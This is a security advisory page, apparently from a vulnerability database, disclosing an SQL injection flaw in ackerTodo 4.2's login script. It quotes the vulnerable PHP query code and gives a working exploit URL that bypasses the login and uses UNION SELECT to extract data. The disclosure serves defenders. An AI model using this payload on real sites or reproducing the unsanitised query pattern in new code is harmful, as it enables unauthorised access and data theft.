ackerTodo 4.2 SQL Injection Vulnerability

2006.10.13
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

ackerTodo 4.2 SQL Injection vendor: http://ackertodo.sourceforge.net/site2/index.html File: gadget/login.php Exploiting this issue could allow an attacker to access sensible data. Vuln code: $user_login = trim($_REQUEST['up_login']); $user_pass = trim($_REQUEST['up_pass']); $num_tasks = trim($_REQUEST['up_num_tasks']); and after... $result = db_query("SELECT * FROM ".$table_prefix."users " ."WHERE login='$user_login' " ."AND password=md5('$user_pass')"); and after... $sql = $sql . ' LIMIT ' . $num_tasks; Exploit: http://site.com/gadget/login.php?up_login=admin&up_pass=wrongpass')%20or %20(%20'1'%20=%20'1'%20AND%20login%20=%20'admin&up_num_tasks=100%20UNION %20select%20*%20FROM%20tasks Vendor has been informed and a patch has been committed into cvs Regards


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top